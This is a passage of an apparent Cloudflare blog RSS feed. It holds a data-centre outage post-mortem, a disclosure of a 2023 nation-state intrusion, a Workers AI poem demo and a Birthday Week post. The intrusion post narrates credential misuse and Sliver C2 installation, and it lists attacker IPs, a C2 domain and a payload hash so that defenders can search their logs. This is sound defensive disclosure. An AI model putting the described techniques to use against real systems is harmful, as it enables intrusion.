    <p>As mentioned above, the power outage event from last November led us to introduce Code Orange, a process where we shift most or all engineering resources to addressing the issue at hand when there’s a significant event or crisis. Over the past five months, we shifted all non-critical engineering functions to focusing on ensuring high reliability of our control plane.</p><p>Teams across our engineering departments rallied to ensure our systems would be more resilient in the face of a similar failure in the future. Though the March 26, 2024, incident was unexpected, it was something we’d been preparing for.</p><p>The most obvious difference is the speed at which the control plane and APIs regained service. Without human intervention, the ability to log in and make changes to Cloudflare configuration was possible seven minutes after PDX01 was lost. This is due to our efforts to move all of our configuration databases to a Highly Available (HA) topology, and pre-provision enough capacity that we could absorb the capacity loss. More than 100 databases across over 20 different database clusters simultaneously failed out of the affected facility and restored service automatically. This was actually the culmination of over a year’s worth of work, and we make sure we prove our ability to failover properly with weekly tests.</p><p>Another significant improvement is the updates to our Logpush infrastructure. In November 2023, the loss of the PDX01 datacenter meant that we were unable to push logs to our customers. During Code Orange, we invested in making the Logpush infrastructure HA in Portland, and additionally created an active failover option in Amsterdam. Logpush took advantage of our massively expanded Kubernetes cluster that spans all of our Portland facilities and provides a seamless way for service owners to deploy HA compliant services that have resiliency baked in. In fact, during our February chaos exercise, we found a flaw in our Portland HA deployment, but customers were not impacted because the Amsterdam Logpush infrastructure took over successfully. During this event, we saw that the fixes we’d made since then worked, and we were able to push logs from the Portland region.</p><p>A number of other improvements in our Stream and Zero Trust products resulted in little to no impact to their operation. Our Stream products, which use a lot of compute resources to transcode videos, were able to seamlessly hand off to our Amsterdam facility to continue operations. Teams were given specific availability targets for the services and were provided several options to achieve those targets. Stream is a good example of a service that chose a different resiliency architecture but was able to seamlessly deliver their service during this outage. Zero Trust, which was also impacted in November 2023, has since moved the vast majority of its functionally to our hundreds of data centers, which kept working seamlessly throughout this event. Ultimately this is the strategy we are pushing all Cloudflare products to adopt as our data centers in <a href="https://www.cloudflare.com/network">over 300 cities worldwide</a> provide the highest level of availability possible.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4hnYtkVM6JHuvAOD3HGNmq/239ae0443184a22761245b4458e15ead/image1-12.png" />
            
            </figure>
    <div>
      <h3>What happened to the power in the data center?</h3>
      <a href="#what-happened-to-the-power-in-the-data-center">
        
      </a>
    </div>
    <p>On March 26, 2024, at 14:58 UTC, PDX01 experienced a total loss of power to Cloudflare’s physical infrastructure following a reportedly simultaneous failure of four Flexential-owned and operated switchboards serving all of Cloudflare’s cages. This meant both primary and redundant power paths were deactivated across the entire environment. During the Flexential investigation, engineers focused on a set of equipment known as Circuit Switch Boards, or CSBs. CSBs are likened to an electrical panel board, consisting of a main input circuit breaker and series of smaller output breakers. Flexential engineers reported that infrastructure upstream of the CSBs (power feed, generator, UPS &amp; PDU/transformer) was not impacted and continued to act normally. Similarly, infrastructure downstream from the CSBs such as Remote Power Panels and connected switchgear was not impacted – thus implying the outage was isolated to the CSBs themselves.</p><p>Initial assessment of the root cause of Flexential’s CSB failures points to incorrectly set breaker coordination settings within the four CSBs as one contributing factor. Trip settings which are too restrictive can result in overly sensitive overcurrent protection and the potential nuisance tripping of devices. In our case, Flexential’s breaker settings within the four CSBs were reportedly too low in relation to the downstream provisioned power capacities. When one or more of these breakers tripped, a cascading failure of the remaining active CSB boards resulted, thus causing a total loss of power serving Cloudflare’s cage and others on the shared infrastructure. During the triage of the incident, we were told that the Flexential facilities team noticed the incorrect trip settings, reset the CSBs and adjusted them to the expected values, enabling our team to power up our servers in a staged and controlled fashion. We do not know when these settings were established – typically, these would be set/adjusted as part of a data center commissioning process and/or breaker coordination study before customer critical loads are installed.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3lJDAVlXMNrU7Eyp7PP0lF/db9a86dfa40f4ca85965d8af8b36c634/Incident-inspection-3.png" />
            
            </figure>
    <div>
      <h3>What’s next?</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>Our top priority is completing the resilience program for our Analytics platform. Analytics aren’t simply pretty charts in a dashboard. When you want to check the status of attacks, activities a firewall is blocking, or even the status of Cloudflare Tunnels - you need analytics. We have evidence that the resiliency pattern we are adopting works as expected, so this remains our primary focus, and we will progress as quickly as possible.</p><p>There were some services that still required manual intervention to properly recover, and we have collected data and action items for each of them to ensure that further manual action is not required. We will continue to use production cut tests to prove all of these changes and enhancements provide the resiliency that our customers expect.</p><p>We will continue to work with Flexential on follow-up activities to expand our understanding of their operational and review procedures to the greatest extent possible. While this incident was limited to a single facility, we will turn this exercise into a process that ensures we have a similar view into all of our critical data center facilities.</p><p>Once again, we are very sorry for the impact to our customers, particularly those that rely on the Analytics engine who were unable to access that product feature during the incident. Our work over the past four months has yielded the results that we expected, and we will stay absolutely focused on completing the remaining body of work.</p> ]]></content:encoded>
            <category><![CDATA[Post Mortem]]></category>
            <category><![CDATA[Outage]]></category>
            <guid isPermaLink="false">3jSHB2RGdy2XNScvpyF1oX</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Jeremy Hartman</dc:creator>
        </item>
        <item>
            <title><![CDATA[Thanksgiving 2023 security incident]]></title>
            <link>https://blog.cloudflare.com/thanksgiving-2023-security-incident/</link>
            <pubDate>Thu, 01 Feb 2024 20:00:24 GMT</pubDate>
            <description><![CDATA[ On Thanksgiving Day, November 23, 2023, Cloudflare detected a threat actor on our self-hosted Atlassian server. Our security team immediately began an investigation, cut off the threat actor’s access, and no Cloudflare customer data or systems were impacted by this event ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On Thanksgiving Day, November 23, 2023, Cloudflare detected a threat actor on our self-hosted Atlassian server. Our security team immediately began an investigation, cut off the threat actor’s access, and on Sunday, November 26, we brought in CrowdStrike’s Forensic team to perform their own independent analysis.</p><p>Yesterday, CrowdStrike completed its investigation, and we are publishing this blog post to talk about the details of this security incident.</p><p>We want to emphasize to our customers that no Cloudflare customer data or systems were impacted by this event. Because of our access controls, firewall rules, and use of hard security keys enforced using our own Zero Trust tools, the threat actor’s ability to move laterally was limited. No services were implicated, and no changes were made to our global network systems or configuration. This is the promise of a Zero Trust architecture: it’s like bulkheads in a ship where a compromise in one system is limited from compromising the whole organization.</p><p>From November 14 to 17, a threat actor did reconnaissance and then accessed our internal wiki (which uses Atlassian Confluence) and our bug database (Atlassian Jira). On November 20 and 21, we saw additional access indicating they may have come back to test access to ensure they had connectivity.</p><p>They then returned on November 22 and established persistent access to our Atlassian server using ScriptRunner for Jira, gained access to our source code management system (which uses Atlassian Bitbucket), and tried, unsuccessfully, to access a console server that had access to the data center that Cloudflare had not yet put into production in São Paulo, Brazil.</p><p>They did this by using one access token and three service account credentials that had been taken, and that we failed to rotate, after the <a href="/how-cloudflare-mitigated-yet-another-okta-compromise">Okta compromise of October 2023</a>. All threat actor access and connections were terminated on November 24 and CrowdStrike has confirmed that the last evidence of threat activity was on November 24 at 10:44.</p><p><i>(Throughout this blog post all dates and times are UTC.)</i></p><p>Even though we understand the operational impact of the incident to be extremely limited, we took this incident very seriously because a threat actor had used stolen credentials to get access to our Atlassian server and accessed some documentation and a limited amount of source code. Based on our collaboration with colleagues in the industry and government, we believe that this attack was performed by a nation state attacker with the goal of obtaining persistent and widespread access to Cloudflare’s global network.</p>
    <div>
      <h3>“Code Red” Remediation and Hardening Effort</h3>
      <a href="#code-red-remediation-and-hardening-effort">
        
      </a>
    </div>
    <p>On November 24, after the threat actor was removed from our environment, our security team pulled in all the people they needed across the company to investigate the intrusion and ensure that the threat actor had been completely denied access to our systems, and to ensure we understood the full extent of what they accessed or tried to access.</p><p>Then, from November 27, we redirected the efforts of a large part of the Cloudflare technical staff (inside and outside the security team) to work on a single project dubbed “Code Red”. The focus was strengthening, validating, and remediating any control in our environment to ensure we are secure against future intrusion and to validate that the threat actor could not gain access to our environment. Additionally, we continued to investigate every system, account and log to make sure the threat actor did not have persistent access and that we fully understood what systems they had touched and which they had attempted to access.</p><p>CrowdStrike performed an independent assessment of the scope and extent of the threat actor’s activity, including a search for any evidence that they still persisted in our systems. CrowdStrike’s investigation provided helpful corroboration and support for our investigation, but did not bring to light any activities that we had missed. This blog post outlines in detail everything we and CrowdStrike uncovered about the activity of the threat actor.</p><p>The only production systems the threat actor could access using the stolen credentials was our Atlassian environment. Analyzing the wiki pages they accessed, bug database issues, and source code repositories, it appears they were looking for information about the architecture, security, and management of our global network; no doubt with an eye on gaining a deeper foothold. Because of that, we decided a huge effort was needed to further harden our security protocols to prevent the threat actor from being able to get that foothold had we overlooked something from our log files.</p><p>Our aim was to prevent the attacker from using the technical information about the operations of our network as a way to get back in. Even though we believed, and later confirmed, the attacker had limited access, we undertook a comprehensive effort to rotate every production credential (more than 5,000 individual credentials), physically segment test and staging systems, performed forensic triages on 4,893 systems, reimaged and rebooted every machine in our global network including all the systems the threat actor accessed and all Atlassian products (Jira, Confluence, and Bitbucket).</p><p>The threat actor also attempted to access a console server in our new, and not yet in production, data center in São Paulo. All attempts to gain access were unsuccessful. To ensure these systems are 100% secure, equipment in the Brazil data center was returned to the manufacturers. The manufacturers’ forensic teams examined all of our systems to ensure that no access or persistence was gained. Nothing was found, but we replaced the hardware anyway.</p><p>We also looked for software packages that hadn’t been updated, user accounts that might have been created, and unused active employee accounts; we went searching for secrets that might have been left in Jira tickets or source code, examined and deleted all HAR files uploaded to the wiki in case they contained tokens of any sort. Whenever in doubt, we assumed the worst and made changes to ensure anything the threat actor was able to access would no longer be in use and therefore no longer be valuable to them.</p><p>Every member of the team was encouraged to point out areas the threat actor might have touched, so we could examine log files and determine the extent of the threat actor’s access. By including such a large number of people across the company, we aimed to leave no stone unturned looking for evidence of access or changes that needed to be made to improve security.</p><p>The immediate “Code Red” effort ended on January 5, but work continues across the company around credential management, software hardening, vulnerability management, additional alerting, and more.</p>
    <div>
      <h3>Attack timeline</h3>
      <a href="#attack-timeline">
        
      </a>
    </div>
    <p>The attack started in October with the compromise of Okta, but the threat actor only began targeting our systems using those credentials from the Okta compromise in mid-November.</p><p>The following timeline shows the major events:</p>
    <div>
      <h3>October 18 - Okta compromise</h3>
      <a href="#october-18-okta-compromise">
        
      </a>
    </div>
    <p>We’ve <a href="/how-cloudflare-mitigated-yet-another-okta-compromise">written about this before</a> but, in summary, we were (for the second time) the victim of a compromise of Okta’s systems which resulted in a threat actor gaining access to a set of credentials. These credentials were meant to all be rotated.</p><p>Unfortunately, we failed to rotate one service token and three service accounts (out of thousands) of credentials that were leaked during the Okta compromise.</p><p>One was a Moveworks service token that granted remote access into our Atlassian system. The second credential was a service account used by the SaaS-based Smartsheet application that had administrative access to our Atlassian Jira instance, the third account was a Bitbucket service account which was used to access our source code management system, and the fourth was an AWS environment that had no access to the global network and no customer or sensitive data.</p><p>The one service token and three accounts were not rotated because mistakenly it was believed they were unused. This was incorrect and was how the threat actor first got into our systems and gained persistence to our Atlassian products. Note that this was in no way an error on the part of Atlassian, AWS, Moveworks or Smartsheet. These were merely credentials which we failed to rotate.</p>
    <div>
      <h3>November 14 09:22:49 - threat actor starts probing</h3>
      <a href="#november-14-09-22-49-threat-actor-starts-probing">
        
      </a>
    </div>
    <p>Our logs show that the threat actor started probing and performing reconnaissance of our systems beginning on November 14, looking for a way to use the credentials and what systems were accessible. They attempted to log into our Okta instance and were denied access. They attempted access to the Cloudflare Dashboard and were denied access.</p><p>Additionally, the threat actor accessed an AWS environment that is used to power the Cloudflare Apps marketplace. This environment was segmented with no access to global network or customer data. The service account to access this environment was revoked, and we validated the integrity of the environment.</p>
    <div>
      <h3>November 15 16:28:38 - threat actor gains access to Atlassian services</h3>
      <a href="#november-15-16-28-38-threat-actor-gains-access-to-atlassian-services">
        
      </a>
    </div>
    <p>The threat actor successfully accessed Atlassian Jira and Confluence on November 15 using the Moveworks service token to authenticate through our gateway, and then they used the Smartsheet service account to gain access to the Atlassian suite. The next day they began looking for information about the configuration and management of our global network, and accessed various Jira tickets.</p><p>The threat actor searched the wiki for things like remote access, secret, client-secret, openconnect, cloudflared, and token. They accessed 36 Jira tickets (out of a total of 2,059,357 tickets) and 202 wiki pages (out of a total of 194,100 pages).</p><p>The threat actor accessed Jira tickets about vulnerability management, secret rotation, MFA bypass, network access, and even our response to the Okta incident itself.</p><p>The wiki searches and pages accessed suggest the threat actor was very interested in all aspects of access to our systems: password resets, remote access, configuration, our use of Salt, but they did not target customer data or customer configurations.</p>
    <div>
      <h3>November 16 14:36:37 - threat actor creates an Atlassian user account</h3>
      <a href="#november-16-14-36-37-threat-actor-creates-an-atlassian-user-account">
        
      </a>
    </div>
    <p>The threat actor used the Smartsheet credential to create an Atlassian account that looked like a normal Cloudflare user. They added this user to a number of groups within Atlassian so that they’d have persistent access to the Atlassian environment should the Smartsheet service account be removed.</p>
    <div>
      <h3>November 17 14:33:52 to November 20 09:26:53 - threat actor takes a break from accessing Cloudflare systems</h3>
      <a href="#november-17-14-33-52-to-november-20-09-26-53-threat-actor-takes-a-break-from-accessing-cloudflare-systems">
        
      </a>
    </div>
    <p>During this period, the attacker took a break from accessing our systems (apart from apparently briefly testing that they still had access) and returned just before Thanksgiving.</p>
    <div>
      <h3>November 22 14:18:22 - threat actor gains persistence</h3>
      <a href="#november-22-14-18-22-threat-actor-gains-persistence">
        
      </a>
    </div>
    <p>Since the Smartsheet service account had administrative access to Atlassian Jira, the threat actor was able to install the Sliver Adversary Emulation Framework, which is a widely used tool and framework that red teams and attackers use to enable “C2” (command and control), connectivity gaining persistent and stealthy access to a computer on which it is installed. Sliver was installed using the ScriptRunner for Jira plugin.</p><p>This allowed them continuous access to the Atlassian server, and they used this to attempt lateral movement. With this access the Threat Actor attempted to gain access to a non-production console server in our São Paulo, Brazil data center due to a non-enforced ACL. The access was denied, and they were not able to access any of the global network.</p><p>Over the next day, the threat actor viewed 120 code repositories (out of a total of 11,904 repositories). Of the 120, the threat actor used the Atlassian Bitbucket git archive feature on 76 repositories to download them to the Atlassian server, and even though we were not able to confirm whether or not they had been exfiltrated, we decided to treat them as having been exfiltrated.</p><p>The 76 source code repositories were almost all related to how backups work, how the global network is configured and managed, how identity works at Cloudflare, remote access, and our use of Terraform and Kubernetes. A small number of the repositories contained encrypted secrets which were rotated immediately even though they were strongly encrypted themselves.</p><p>We focused particularly on these 76 source code repositories to look for embedded secrets, (secrets stored in the code were rotated), vulnerabilities and ways in which an attacker could use them to mount a subsequent attack. This work was done as a priority by engineering teams across the company as part of “Code Red”.</p><p>As a SaaS company, we’ve long believed that our source code itself is not as precious as the source code of software companies that distribute software to end users. In fact, we’ve open sourced a large amount of our source code and speak openly through our blog about algorithms and techniques we use. So our focus was not on someone having access to the source code, but whether that source code contained embedded secrets (such as a key or token) and vulnerabilities.</p>
    <div>
      <h3>November 23 - Discovery and threat actor access termination begins</h3>
      <a href="#november-23-discovery-and-threat-actor-access-termination-begins">
        
      </a>
    </div>
    <p>Our security team was alerted to the threat actor’s presence at 16:00 and deactivated the Smartsheet service account 35 minutes later. 48 minutes later the user account created by the threat actor was found and deactivated. Here’s the detailed timeline for the major actions taken to block the threat actor once the first alert was raised.</p><p>15:58 - The threat actor adds the Smartsheet service account to an administrator group.16:00 - Automated alert about the change at 15:58 to our security team.16:12 - Cloudflare SOC starts investigating the alert.16:35 - Smartsheet service account deactivated by Cloudflare SOC.17:23 - The threat actor-created Atlassian user account is found and deactivated.17:43 - Internal Cloudflare incident declared.21:31 - Firewall rules put in place to block the threat actor’s known IP addresses.</p>
    <div>
      <h3>November 24 - Sliver removed; all threat actor access terminated</h3>
      <a href="#november-24-sliver-removed-all-threat-actor-access-terminated">
        
      </a>
    </div>
    <p>10:44 - Last known threat actor activity.11:59 - Sliver removed.</p><p>Throughout this timeline, the threat actor tried to access a myriad of other systems at Cloudflare but failed because of our access controls, firewall rules, and use of hard security keys enforced using our own Zero Trust tools.</p><p>To be clear, we saw no evidence whatsoever that the threat actor got access to our global network, data centers, SSL keys, customer databases or configuration information, Cloudflare Workers deployed by us or customers, AI models, network infrastructure, or any of our datastores like Workers KV, R2 or Quicksilver. Their access was limited to the Atlassian suite and the server on which our Atlassian runs.</p><p>A large part of our “Code Red” effort was understanding what the threat actor got access to and what they tried to access. By looking at logging across systems we were able to track attempted access to our internal metrics, network configuration, build system, alerting systems, and release management system. Based on our review, none of their attempts to access these systems were successful. Independently, CrowdStrike performed an assessment of the scope and extent of the threat actor’s activity, which did not bring to light activities that we had missed and concluded that the last evidence of threat activity was on November 24 at 10:44.</p><p>We are confident that between our investigation and CrowdStrike’s, we fully understand the threat actor’s actions and that they were limited to the systems on which we saw their activity.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>This was a security incident involving a sophisticated actor, likely a nation-state, who operated in a thoughtful and methodical manner. The efforts we have taken ensure that the ongoing impact of the incident was limited and that we are well-prepared to fend off any sophisticated attacks in the future. This required the efforts of a significant number of Cloudflare’s engineering staff, and, for over a month, this was the highest priority at Cloudflare. The entire Cloudflare team worked to ensure that our systems were secure, the threat actor’s access was understood, to remediate immediate priorities (such as mass credential rotation), and to build a plan of long-running work to improve our overall security based on areas for improvement discovered during this process.</p><p>We are incredibly grateful to everyone at Cloudflare who responded quickly over the Thanksgiving holiday to conduct an initial analysis and lock out the threat actor, and all those who contributed to this effort. It would be impossible to name everyone involved, but their long hours and dedicated work made it possible to undertake an essential review and change of Cloudflare’s security while keeping our global network running and our customers’ service running.</p><p>We are grateful to CrowdStrike for having been available immediately to conduct an independent assessment. Now that their final report is complete, we are confident in our internal analysis and remediation of the intrusion and are making this blog post available.</p><p><b>IOCs</b>Below are the Indications of Compromise (IOCs) that we saw from this threat actor. We are publishing them so that other organizations, and especially those that may have been impacted by the Okta breach, can search their logs to confirm the same threat actor did not access their systems.</p>
<table>
<thead>
  <tr>
    <th><span>Indicator</span></th>
    <th><span>Indicator Type</span></th>
    <th><span>SHA256</span></th>
    <th><span>Description</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>193.142.58[.]126 </span></td>
    <td><span>IPv4</span></td>
    <td><span>N/A</span></td>
    <td><span>Primary threat actor</span><br /><span>Infrastructure, owned by</span><br /><span>M247 Europe SRL (Bucharest,</span><br /><span>Romania)</span></td>
  </tr>
  <tr>
    <td><span>198.244.174[.]214 </span></td>
    <td><span>IPv4</span></td>
    <td><span>N/A</span></td>
    <td><span>Sliver C2 server, owned by</span><br /><span>OVH SAS (London, England)</span></td>
  </tr>
  <tr>
    <td><span>idowall[.]com</span></td>
    <td><span>Domain</span></td>
    <td><span>N/A</span></td>
    <td><span>Infrastructure serving Sliver</span><br /><span>payload</span></td>
  </tr>
  <tr>
    <td><span>jvm-agent</span></td>
    <td><span>Filename</span></td>
    <td><span>bdd1a085d651082ad567b03e5186d1d4<br />6d822bb7794157ab8cce95d850a3caaf</span></td>
    <td><span>Sliver payload</span></td>
  </tr>
</tbody>
</table><p></p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">4iLxjDabtXj9DBA7dv3Wig</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Grant Bourzikas</dc:creator>
        </item>
        <item>
            <title><![CDATA[Writing poems using LLama 2 on Workers AI]]></title>
            <link>https://blog.cloudflare.com/writing-poems-using-llama-2-on-workers-ai/</link>
            <pubDate>Wed, 27 Sep 2023 13:00:36 GMT</pubDate>
            <description><![CDATA[ Matthew and Michelle, co-founders of Cloudflare, published their annual founders’ letter today. The letter ends with a poem written by an AI running using Workers AI on Cloudflare’s global network. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Matthew and Michelle, co-founders of Cloudflare, published their <a href="/cloudflares-annual-founders-letter-2023/">annual founders’ letter today</a>. The letter ends with a poem written by an AI running using Workers AI on Cloudflare’s global network.</p><p>Here’s the code that wrote the poem. It uses <a href="/workers-ai/">Workers AI</a> and the Meta <a href="https://ai.meta.com/llama/">Llama 2 model with 7B parameters and 8-bit integers</a>. Just 14 lines of code running on the Cloudflare global network, and you’ve got your very own <a href="https://www.cloudflare.com/learning/ai/what-is-artificial-intelligence/">AI</a> to chat with.</p>
            <pre><code>import { Ai } from "@cloudflare/ai";

export default {
    async fetch(request: Request, env: Env): Promise&lt;Response&gt; {
        const body = await request.json();
        const ai = new Ai(env.AI);
        const response = await ai.run("@cf/meta/llama-2-7b-chat-int8", body);
        return new Response(JSON.stringify(response));
    },
};

export interface Env {
    AI: any;
}</code></pre>
            <p>That was deployed on Workers AI and all I had to do was ask for poems. Here’s my terminal output (with just the domain name changed).</p>
            <pre><code>% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud"}' | jq -r .response</code></pre>
            <p><code>Cloud computing provides a connectivity that's unmatched,</code></p><p><code>A bridge that spans the globe with ease and grace.</code></p><p><code>It brings us closer, no matter where we are,</code></p><p><code>And makes the world a smaller, more intimate place.</code></p><p><code>With just a click, we can connect and share,</code></p><p><code>Our thoughts and ideas, our hopes and dreams.</code></p><p><code>The cloud unites us, in a way that's fair,</code></p><p><code>And makes the world a more harmonious theme.</code></p><p><code>So let us embrace this connectivity,</code></p><p><code>And use it to build a better world for all.</code></p><p><code>For in the cloud, we find a unity,</code></p><p><code>That can help us reach new heights, and stand tall.</code></p>
            <pre><code>% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud"}' | jq -r .response</code></pre>
            <p><code>The connectivity cloud, a wondrous sight to see,</code></p><p><code>Where data flows and knowledge is set free,</code></p><p><code>A place where minds meet and ideas take flight,</code></p><p><code>A world of endless possibility in sight.</code></p><p><code>But then there's the captivity cloud, a darker place,</code></p><p><code>Where thoughts are trapped and minds are in disgrace,</code></p><p><code>A prison of the mind, where freedom's lost,</code></p><p><code>A world of endless sorrow and cost.</code></p><p><code>So let us choose the connectivity cloud,</code></p><p><code>And let our minds be free and allowed,</code></p><p><code>To soar and glide and reach for the sky,</code></p><p><code>And never be held back, but always fly.</code></p>
            <pre><code>% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud using Elizabethan English"}' | jq -r .response</code></pre>
            <p><code>In the connectivity cloud, I find my peace,</code></p><p><code>Where thoughts and dreams and hopes do cease to flee.</code></p><p><code>The captivity cloud doth but darken my day,</code></p><p><code>With chains of sorrow that will not away.</code></p><p><code>In the connectivity cloud, I find my home,</code></p><p><code>Where love and joy and laughter do make their moan.</code></p><p><code>The captivity cloud doth but lock me in,</code></p><p><code>With sorrow's shackles that will not give in.</code></p><p><code>In the connectivity cloud, I find my fate,</code></p><p><code>Where fortune smiles and misery doth wait.</code></p><p><code>The captivity cloud doth but bring me woe,</code></p><p><code>With darkness that will not let me go.</code></p><p><code>In the connectivity cloud, I find my heart,</code></p><p><code>Where love and hope and joy do play their part.</code></p><p><code>The captivity cloud doth but tear it apart,</code></p><p><code>With sorrow's hand that will not let it start.</code></p>
            <pre><code>% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud in the style of Lord Byron"}' | jq -r .response</code></pre>
            <p><code>In the realm of the cloud, where data reigns supreme,</code></p><p><code>A new divide has emerged, a digital dream,</code></p><p><code>The connectivity cloud, a place of delight,</code></p><p><code>Where knowledge and wisdom take flight.</code></p><p><code>But then there's the captivity cloud, a darker hue,</code></p><p><code>Where privacy and security are hard to pursue,</code></p><p><code>A prison of sorts, where freedom's light is lost,</code></p><p><code>And data's secrets are forever crossed.</code></p><p><code>Yet still, we cling to the captivity cloud,</code></p><p><code>For in its depths, we find a measure of proof,</code></p><p><code>That though the connectivity cloud may be bright,</code></p><p><code>The captivity cloud holds a certain allure in sight.</code></p><p><code>So let us embrace both, the light and the dark,</code></p><p><code>For in their union, we find a digital spark,</code></p><p><code>That illuminates the path to a brighter day,</code></p><p><code>Where knowledge and privacy reign in a digital way.</code></p><p>What are you going to build on Workers AI? It’s ready and waiting. We’ll help you go from idea to deployed in minutes.</p><p>If you want to know exactly how to deploy something like this <a href="/workers-ai/">read the Workers AI announcement blog</a>.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">6p2SuqvJRLWGcY3ZXxdbt2</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Welcome to Birthday Week 2023]]></title>
            <link>https://blog.cloudflare.com/welcome-to-birthday-week-2023/</link>
            <pubDate>Sun, 24 Sep 2023 17:00:02 GMT</pubDate>
            <description><![CDATA[ Building the future is, in part, what Birthday Week is about. Over the past 13 years we’ve announced things like Universal SSL (doubling the size of the encrypted web overnight), or Cloudflare Workers (helping change the way people build and scale applications). This year will be no different ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6YNZlewNyluIAwgfEHPjrj/e79489f0a51161fd3fe8da40baab98d7/Welcome-to-Birthday-Week-2023-2.png" />
            
            </figure><p>Having been at Cloudflare since it was tiny it’s hard to believe that we’re hitting our teens! But here we are 13 years on from launch. Looking back to 2010 it was the year of iPhone 4, the first iPad, the first <a href="https://en.wikipedia.org/wiki/Kinect">Kinect</a>, <a href="https://en.wikipedia.org/wiki/Inception">Inception</a> was in cinemas, and <a href="https://en.wikipedia.org/wiki/Tik_Tok_(song)">TiK ToK</a> was hot (well, the Kesha song was). Given how long ago all that feels, I'd have a hard time predicting the next 13 years, so I’ll stick to predicting the future by creating it (with a ton of help from the Cloudflare team).</p><p>Building the future is, in part, what Birthday Week is about. Over the past 13 years we’ve announced things like <a href="/introducing-universal-ssl/">Universal SSL</a> (doubling the size of the encrypted web overnight and helping to usher in the largely encrypted web we all use; Cloudflare Radar shows that worldwide <a href="https://radar.cloudflare.com/adoption-and-usage">99% of HTTP requests are encrypted</a>), or <a href="/introducing-cloudflare-workers/">Cloudflare Workers</a> (helping change the way people build and scale applications), or <a href="/unmetered-mitigation/">unmetered DDoS protection</a> (to help with the scourge of DDoS).</p><p>This year will be no different.</p><p>Winding back to the year I joined Cloudflare we made our first Birthday Week announcement: our <a href="/introducing-cloudflares-automatic-ipv6-gatewa/">automatic IPv6 gateway.</a> Fast-forward to today and Cloudflare Radar says that 37% of connections to Cloudflare use IPv6, so this year there’s a special offer to help make IPv6 ever more widespread and counter those who’d try to bind us to IPv4. So let’s build an IPv6 future together.</p><p>Last year we announced <a href="/turnstile-private-captcha-alternative/">Turnstile</a>, our privacy-preserving replacement for CAPTCHAs. This year we’ll be closing a big privacy hole in the encrypted Internet and showing how cryptography can be used to make measurements anonymous and private. Plus even more encrypted, anonymous connections from your computer to the Internet. And there’s more on what’s next for Turnstile itself, and helping make fonts faster and more private too. So let’s build a privacy-preserving Internet together.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7ztABUhkNV6X7sY9ZeUn4C/989b20c8ea38d07a4f7de6f9dc64fb1a/image3-17.png" />
            
            </figure><p>AI, of course, is a huge topic and one quarter of all this week's blog posts are about AI, machine learning, GPUs, and all things building, managing, and measuring applications that use AI and machine learning. If it’s not obvious already, it will be after this week: the future involves AI everywhere, on device, in the cloud, and deep inside the Cloudflare global network.</p><p><a href="/1111-warp-better-vpn/">Cloudflare WARP</a> wasn’t a Birthday Week announcement (it was one of our April 1 releases like <a href="/announcing-1111/">1.1.1.1</a>) but this year we’ll be switching from Star Trek to Star Wars with a new product called Hyperdrive. You’ll have to wait until Thursday to read all about it. But if you love databases, you’ll want to make the jump to lightspeed with us.</p><p>Speaking of speed… speed! It’s not all AI, privacy, and cool products. We also need to continue our mission to explore strange new worlds help make everyone’s use of the Internet faster. So, we’ll update you on our network performance, talk about how we keep our network running smoothly in face of ever-changing Internet weather, help you stream with low latency, and use caching in new smart ways.</p><p>Lastly, we’ll be talking about the impact of Cloudflare on the climate and our climate commitments. Helping with climate change is yet another thing we need to do together.</p><p>And, of course, there’s much more than just that. But I wouldn’t want to spoil the birthday surprise by unwrapping the blogs early.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Van66GZu5op5w5VrCID48/27ec08a2ec6dea71a1ecaf2a4a4ef098/image1-10.png" />
            
            </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">2TG9I4jPVfRW7tE8lwXwkS</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Batteries included: how AI will transform the who and how of programming]]></title>
            <link>https://blog.cloudflare.com/ai-will-transform-programming/</link>
            <pubDate>Sun, 14 May 2023 17:00:40 GMT</pubDate>
            <description><![CDATA[ The recent arrival of LLMs capable of assisting programmers in writing, debugging and modifying code is yet another step. It’s a step at both making programmers more productive and helping more people be programmers ]]></description>
